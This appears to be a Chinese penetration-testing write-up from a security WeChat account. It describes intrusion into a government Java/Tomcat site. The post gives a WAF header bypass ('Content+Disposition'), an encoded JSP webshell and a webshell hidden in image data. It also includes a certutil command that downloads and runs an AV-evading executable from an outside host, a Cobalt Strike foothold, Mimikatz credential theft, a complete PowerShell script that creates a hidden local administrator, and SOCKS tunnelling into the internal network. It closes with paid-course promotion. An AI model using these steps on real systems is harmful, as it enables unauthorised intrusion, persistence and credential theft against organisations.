【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)
前言
很久没有整理实战文章了,恰好这周项目上有一个目标折腾两天时间,记录分享下其中的心路历程。(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为。)
目标基本信息
某政务网站
服务器--windows
数据库--未知
中间件--Tomcat
开发语言--java
未使用CDN
存在waf--种类未知
Getshell过程
目标存在一处上传功能。
image.png
上传成功后返回取件码。
使用取件码进行信件查询。
点击附件为下载链接。
image.png
对下载链接进行测试,发现报错时泄漏了绝对路径。
进过几次尝试,成功访问到上传的图片。
继续对上传功能进行测试,waf对上传后缀名进行了白名单限制,未发现可以利用的后缀名。
根据以往的bypass经验,开始手撕waf。
后缀名校验绕过
经过尝试,当Content-Disposition字段修改为Content+Disposition时可以绕过waf。
内容校验绕过
直接上传免杀较强的冰蝎马。
未上传成功,看来存在文件内容校验,拿出自己的免杀马进行测试。
经过尝试免杀马全部阵亡,无一例外。
敲个helloword看看吧。
然而。。。
第一次碰到连helloword都拦的waf。
经过多次测试,waf对绝大部分的jsp函数都进行了拦截。
内容加密
首先想到的解决方案是对木马进行加密。
在网上查找相关的资料,发现LandGrey大佬的一个unicode编码的木马。
https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2FLandGrey%2Fwebshell-detect-bypass%2Ftree%2Fmaster%2Fwebshell%2Fjsp
<%@page import="java.io.*,java.net.*,java.sql.*,java.text.*"%>
<%!
\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0050\u0077\u0064\u003d\
.........
%>
可以上传成功。
使用caidao-20160622的版本进行连接(默认分隔符: X@Y)。
然而。
看来内容校验过了,但是菜刀流量被waf拦截了。
这时想到了2种方案。
1、找一个内容加密的大马,例如php的大马的加解密过程
2、菜刀马流量中转
上传中转菜刀马,配合本地加解密脚本文件,对数据进行中转加密传输。
奈何网上关于jsp加密以及中转木马研究的文章数量有限,再加上本人不懂java开发,内容加密这条路暂时走不通了。
倒是看到了不少大佬优秀的文章,学习到了很多相关知识。
如:菜刀HTTP流量中转代理过WAF(https://links.jianshu.com/go?
to=https%3A%2F%2Fxz.aliyun.com%2Ft%2F2739)
CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF(https://links.jianshu.com/go?to=https%3A%2F%2Fwww.uedbox.com%2Fpost%2F58916%2F)
内容混淆
加密既然暂时走不通,只能换一个思路,尝试对文件内容进行混淆,绕过waf。
首先想到的是图片马,尝试把木马隐藏到图片源码中,绕过waf。
在这个过程中也踩了一些坑,有些图片源码包含特殊字符会和木马的源代码发生冲突,因此需要特殊处理过的图片才能保证正常解析。
推荐使用如下图片。
使用notepad++打开图片,把jsp马插入到图片源码中。
更改为jsp后缀进行上传。
上传失败,猜测长度不够,未起到混淆的目的,复制图片的一段源码,反复的复制到木马文件的前后位置,经过若干次尝试,返回了上传成功。
使用证书下载命令下载免杀exe到本地执行。
certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe
D:/1.exe
免杀处理使用https://www.jianshu.com/p/85b752731f4c中的AVIator。
cs成功接收到会话。
尝试激活guest用户,加入管理员组失败。
存在服务器防护需要绕过。
服务器为server 2008,默认情况下,可以使用Procdump+Mimikatz来读取管理员的明文密码。
具体实现可参考之前发布的文章。(https://www.jianshu.com/p/7f592854314f)
假设对方打了补丁,无法获取明文密码的情况下,可以选择powershell添加用户。
使用Get-ExecutionPolicy 查看当前执行策略为Restricted(默认策略,不允许任意脚本的执行)
使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制,但是对来自网络的脚本必须经过签名)
相关powershell命令可查看CSeroad大佬的文章。
https://www.jianshu.com/p/f728899ea71b
powershell的免杀性较强,大多数情况下都可以执行成功。
上传ps1文件到服务器中,调用powershell执行。
$computer=Get-WMIObject Win32_ComputerSystem
$computername = $computer.name
$username = 'admin'
$password = '1234qwer..'
$desc = 'Local admin account'
$computer = [ADSI]"WinNT://$computername,computer"
$user = $computer.Create("user", $username)
$user.SetPassword($password)
$user.Setinfo()
$user.description = $desc
$user.setinfo()
$user.UserFlags = 65536
$user.SetInfo()
$group = [ADSI]("WinNT://$computername/administrators,group")
$group.add("WinNT://$username,user")
使用cs搭建socks4隧道。
配置Proxifer。
成功把本机主机带入目标内网,连接远程桌面。
到此渗透结束。
总结
由于不懂java开发,导致前期的getshell耽误了过长时间。
渗透过程中走了很多弯路,但也学习到了很多新的知识。
回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;
回复“内网书籍”获取内网学习书籍;
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”;获取内网渗透资料;
回复“护网”;获取护网学习资料 ;
回复“python”,获取python视频教程;
回复“java”,获取Java视频教程;
回复“go”,获取go视频教程
知识星球
【Hacking藏经阁】知识星球致力于分享技术和认知。
1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;
400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)
如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。
欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。
渗透实战系列
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
▶
长按-识别-关注
Hacking黑白红
一个专注信息安全技术的学习平台 点分享
点收藏
点点赞
点在看